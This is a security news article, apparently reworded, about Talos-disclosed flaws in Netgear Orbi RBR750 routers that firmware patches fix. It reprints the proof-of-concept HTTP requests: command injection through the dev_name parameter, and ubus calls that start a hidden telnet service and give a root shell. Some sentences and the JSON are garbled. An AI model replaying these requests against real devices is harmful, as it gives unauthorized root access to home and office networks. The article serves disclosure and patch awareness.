netgear
If you are using Netgear’s Orbi mesh wireless system to connect to the Internet, you should ensure that you are running the latest firmware as exploit code has been released for critical vulnerabilities in older versions. I have.
The Netgear Orbi mesh wireless system consists of a main hub router and one or more satellite routers that extend the range of your network. Set up multiple access points in your home or office to form a mesh system and provide Wi-Fi coverage throughout your home or office.
Inject arbitrary commands remotely
Last year, researchers from Cisco’s Talos security team discovered four vulnerabilities and privately reported them to Netgear. The most severe vulnerability, tracked as CVE-2022-37337, exists in the access control functionality of RBR750. Hackers can exploit this to remotely execute commands by sending specially crafted HTTP requests to the device. A hacker would first need to know the SSID password or access an unprotected SSID to connect to the device. The severity of the flaw is rated at 9.1 out of 10.
In January, Netgear released a firmware update that patched the vulnerability. Now, Talos has released proof-of-concept exploit code and technical details.
“The Orbi RBR750’s access control feature allows users to explicitly add devices (specified by MAC address and hostname) to allow or block specified devices when attempting to access the network,” Talos said. researchers wrote. “However, the dev_name parameter is vulnerable to command injection.”
Here is the exposed exploit code:
POST /access_control_add.cgi?id=e7bbf8edbf4393c063a616d78bd04dfac332ca652029be9095c4b5b77f6203c1 HTTP/1.1
Host: 10.0.0.1
Content-Length: 104
Authorization: Basic YWRtaW46UGFzc3cwcmQ=
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.61 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: yummy_magical_cookie=/; XSRF_TOKEN=2516336866
Connection: close
action=Apply&mac_addr=aabbccddeeaa&dev_name=test;ping$IFS10.0.0.4&access_control_add_type=blocked_list
The device will respond with:
root@RBR750:/tmp# ps | grep ping
21763 root 1336 S ping 10.0.0.4
Two other vulnerabilities discovered by Talos also received patches in January. CVE-2022-36429 is also a remote command execution vulnerability that can be exploited by sending a series of malicious packets that create specially crafted JSON objects. Its severity rating is 7.2.
The exploit begins by using the SHA256 sum of the password with the username “admin” to return the authentication cookie needed to initiate an undocumented telnet session.
POST /ubus HTTP/1.1
Host: 10.0.0.4
Content-Length: 217
Accept: application/json
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.61 Safari/537.36
Content-Type: application/json
Origin: http://10.0.0.4
Referer: http://10.0.0.4/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
"method":"call","params":["00000000000000000000000000000000","session","login","username":"admin","password":"","timeout":900],"jsonrpc":"2.0","id":3
You will see the “ubus_rpc_session” token needed to start the hidden telnet service.
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 829
Connection: close
Date: Mon, 11 Jul 2022 19:27:03 GMT
Server: lighttpd/1.4.45
"jsonrpc":"2.0","id":3,"result":[0,"ubus_rpc_session":"e6c28cc8358cb9182daa29e01782df67","timeout":900,"expires":899,"acls":"access-group":"netgear":["read","write"],"unauthenticated":["read"],"ubus":"netgear.get":["pot_details","satellite_status","connected_device","get_language"],"netgear.log":["ntgrlog_status","log_boot_status","telnet_status","packet_capture_status","firmware_version","hop_count","cpu_load","ntgrlog_start","ntgrlog_stop","log_boot_enable","log_boot_disable","telnet_enable","telnet_disable","packet_capture_start","packet_capture_stop"],"netgear.set":["set_language"],"netgear.upgrade":["upgrade_status","upgrade_version","upgrade_start"],"session":["access","destroy","get","login"],"system":["info"],"uci":["*"],"webui-io":"download":["read"],"upload":["write"],"data":"username":"admin"]
The adversary then adds a parameter called “telnet_enable” to start the telnet service.
POST /ubus HTTP/1.1
Host: 10.0.0.4
Content-Length: 138
Accept: application/json
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.61 Safari/537.36
Content-Type: application/json
Origin: http://10.0.0.4
Referer: http://10.0.0.4/status.html
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
"method":"call","params":["e6c28cc8358cb9182daa29e01782df67","netgear.log","telnet_enable","log_boot_enable",],"jsonrpc":"2.0","id":13
The same password used to generate the SHA256 hash with the username ‘admin’ allows the attacker to log into the service.
$ telnet 10.0.0.4
Trying 10.0.0.4...
Connected to 10.0.0.4.
Escape character is '^]'.
login: admin
Password: === IMPORTANT ============================
Use 'passwd' to set your login password
this will disable telnet and enable SSH
------------------------------------------
BusyBox v1.30.1 () built-in shell (ash)
MM NM MMMMMMM M M
$MMMMM MMMMM MMMMMMMMMMM MMM MMM
MMMMMMMM MM MMMMM. MMMMM:MMMMMM: MMMM MMMMM
MMMM= MMMMMM MMM MMMM MMMMM MMMM MMMMMM MMMM MMMMM'
MMMM= MMMMM MMMM MM MMMMM MMMM MMMM MMMMNMMMMM
MMMM= MMMM MMMMM MMMMM MMMM MMMM MMMMMMMM
MMMM= MMMM MMMMMM MMMMM MMMM MMMM MMMMMMMMM
MMMM= MMMM MMMMM, NMMMMMMMM MMMM MMMM MMMMMMMMMMM
MMMM= MMMM MMMMMM MMMMMMMM MMMM MMMM MMMM MMMMMM
MMMM= MMMM MM MMMM MMMM MMMM MMMM MMMM MMMM
MMMM$ ,MMMMM MMMMM MMMM MMM MMMM MMMMM MMMM MMMM
MMMMMMM: MMMMMMM M MMMMMMMMMMMM MMMMMMM MMMMMMM
MMMMMM MMMMN M MMMMMMMMM MMMM MMMM
MMMM M MMMMMMM M M
M
---------------------------------------------------------------
For those about to rock... (Chaos Calmer, rtm-4.6.8.5+r49254)
---------------------------------------------------------------
root@RBS750:/#
Another patched vulnerability is CVE-2022-38458, rated 6.5. This is caused by the device prompting the user for a password over an unencrypted HTTP connection. An adversary on the same network can then sniff the password.
